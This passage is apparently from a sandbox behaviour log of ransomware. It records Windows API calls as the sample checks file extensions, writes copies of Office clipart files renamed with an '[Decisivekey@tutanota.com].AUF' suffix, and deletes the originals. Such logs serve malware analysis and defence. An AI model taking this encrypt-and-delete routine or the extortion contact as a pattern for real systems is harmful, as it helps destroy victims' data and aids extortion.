-1 [0216.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0216.132] lstrlenW (lpString=".jpg") returned 4 [0216.132] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.133] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=2596) returned 1 [0216.133] CloseHandle (hObject=0x214) returned 1 [0216.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0216.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0216.133] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.133] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0216.134] GetLastError () returned 0x0 [0216.134] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xa24, lpOverlapped=0x0) returned 1 [0216.142] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xa30, lpOverlapped=0x0) returned 1 [0216.143] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.143] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.143] SetEndOfFile (hFile=0x1f4) returned 1 [0216.143] CloseHandle (hObject=0x1f4) returned 1 [0216.143] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.143] SetEndOfFile (hFile=0x214) returned 1 [0216.144] CloseHandle (hObject=0x214) returned 1 [0216.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0216.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0216.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0216.144] lstrlenW (lpString=".doc") returned 4 [0216.144] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.144] lstrlenW (lpString=".docx") returned 5 [0216.144] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.144] lstrlenW (lpString=".pdf") returned 4 [0216.144] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.144] lstrlenW (lpString=".xls") returned 4 [0216.144] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.144] lstrlenW (lpString=".xlsx") returned 5 [0216.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.144] lstrlenW (lpString=".ppt") returned 4 [0216.144] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0216.144] lstrlenW (lpString=".zip") returned 4 [0216.144] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.144] lstrlenW (lpString=".rar") returned 4 [0216.144] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.144] lstrlenW (lpString=".bz2") returned 4 [0216.144] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.144] lstrlenW (lpString=".7z") returned 3 [0216.144] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0216.145] lstrlenW (lpString=".dbf") returned 4 [0216.145] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0216.145] lstrlenW (lpString=".1cd") returned 4 [0216.145] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0216.145] lstrlenW (lpString=".jpg") returned 4 [0216.145] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.145] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=5315) returned 1 [0216.145] CloseHandle (hObject=0x214) returned 1 [0216.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0216.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0216.145] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.145] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0216.145] GetLastError () returned 0x0 [0216.146] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x14c3, lpOverlapped=0x0) returned 1 [0216.477] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0216.478] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.478] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.478] SetEndOfFile (hFile=0x1f4) returned 1 [0216.478] CloseHandle (hObject=0x1f4) returned 1 [0216.478] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.478] SetEndOfFile (hFile=0x214) returned 1 [0216.479] CloseHandle (hObject=0x214) returned 1 [0216.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0216.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0216.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0216.480] lstrlenW (lpString=".doc") returned 4 [0216.480] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.480] lstrlenW (lpString=".docx") returned 5 [0216.480] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.480] lstrlenW (lpString=".pdf") returned 4 [0216.480] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.480] lstrlenW (lpString=".xls") returned 4 [0216.480] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.480] lstrlenW (lpString=".xlsx") returned 5 [0216.480] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.480] lstrlenW (lpString=".ppt") returned 4 [0216.480] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0216.480] lstrlenW (lpString=".zip") returned 4 [0216.480] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.480] lstrlenW (lpString=".rar") returned 4 [0216.480] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.480] lstrlenW (lpString=".bz2") returned 4 [0216.480] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.480] lstrlenW (lpString=".7z") returned 3 [0216.480] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0216.480] lstrlenW (lpString=".dbf") returned 4 [0216.480] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0216.480] lstrlenW (lpString=".1cd") returned 4 [0216.480] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0216.480] lstrlenW (lpString=".jpg") returned 4 [0216.480] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.480] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=7372) returned 1 [0216.480] CloseHandle (hObject=0x214) returned 1 [0216.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 0x20 [0216.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0216.481] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.481] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0216.482] GetLastError () returned 0x0 [0216.482] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x1ccc, lpOverlapped=0x0) returned 1 [0216.483] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x1cd0, lpOverlapped=0x0) returned 1 [0216.484] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.484] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.484] SetEndOfFile (hFile=0x1f4) returned 1 [0216.484] CloseHandle (hObject=0x1f4) returned 1 [0216.484] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.484] SetEndOfFile (hFile=0x214) returned 1 [0216.485] CloseHandle (hObject=0x214) returned 1 [0216.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0216.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0216.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0216.485] lstrlenW (lpString=".doc") returned 4 [0216.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.485] lstrlenW (lpString=".docx") returned 5 [0216.485] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.486] lstrlenW (lpString=".pdf") returned 4 [0216.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.486] lstrlenW (lpString=".xls") returned 4 [0216.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.486] lstrlenW (lpString=".xlsx") returned 5 [0216.486] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.486] lstrlenW (lpString=".ppt") returned 4 [0216.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0216.486] lstrlenW (lpString=".zip") returned 4 [0216.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.486] lstrlenW (lpString=".rar") returned 4 [0216.486] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.486] lstrlenW (lpString=".bz2") returned 4 [0216.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.486] lstrlenW (lpString=".7z") returned 3 [0216.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0216.486] lstrlenW (lpString=".dbf") returned 4 [0216.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0216.486] lstrlenW (lpString=".1cd") returned 4 [0216.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0216.486] lstrlenW (lpString=".jpg") returned 4 [0216.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.487] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=7540) returned 1 [0216.487] CloseHandle (hObject=0x214) returned 1 [0216.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 0x20 [0216.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0216.487] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.487] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0216.487] GetLastError () returned 0x0 [0216.487] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x1d74, lpOverlapped=0x0) returned 1 [0216.496] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x1d80, lpOverlapped=0x0) returned 1 [0216.497] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.497] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.497] SetEndOfFile (hFile=0x1f4) returned 1 [0216.497] CloseHandle (hObject=0x1f4) returned 1 [0216.498] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.498] SetEndOfFile (hFile=0x214) returned 1 [0216.498] CloseHandle (hObject=0x214) returned 1 [0216.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0216.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0216.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0216.499] lstrlenW (lpString=".doc") returned 4 [0216.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.499] lstrlenW (lpString=".docx") returned 5 [0216.499] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.499] lstrlenW (lpString=".pdf") returned 4 [0216.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.499] lstrlenW (lpString=".xls") returned 4 [0216.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.499] lstrlenW (lpString=".xlsx") returned 5 [0216.499] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.499] lstrlenW (lpString=".ppt") returned 4 [0216.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0216.499] lstrlenW (lpString=".zip") returned 4 [0216.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.499] lstrlenW (lpString=".rar") returned 4 [0216.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.499] lstrlenW (lpString=".bz2") returned 4 [0216.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.499] lstrlenW (lpString=".7z") returned 3 [0216.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0216.499] lstrlenW (lpString=".dbf") returned 4 [0216.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0216.499] lstrlenW (lpString=".1cd") returned 4 [0216.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0216.499] lstrlenW (lpString=".jpg") returned 4 [0216.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.500] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=6632) returned 1 [0216.500] CloseHandle (hObject=0x214) returned 1 [0216.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 0x20 [0216.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0216.500] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.500] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0216.500] GetLastError () returned 0x0 [0216.500] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x19e8, lpOverlapped=0x0) returned 1 [0216.504] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0216.504] ReadFile (in: hFile=0x214, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.504] 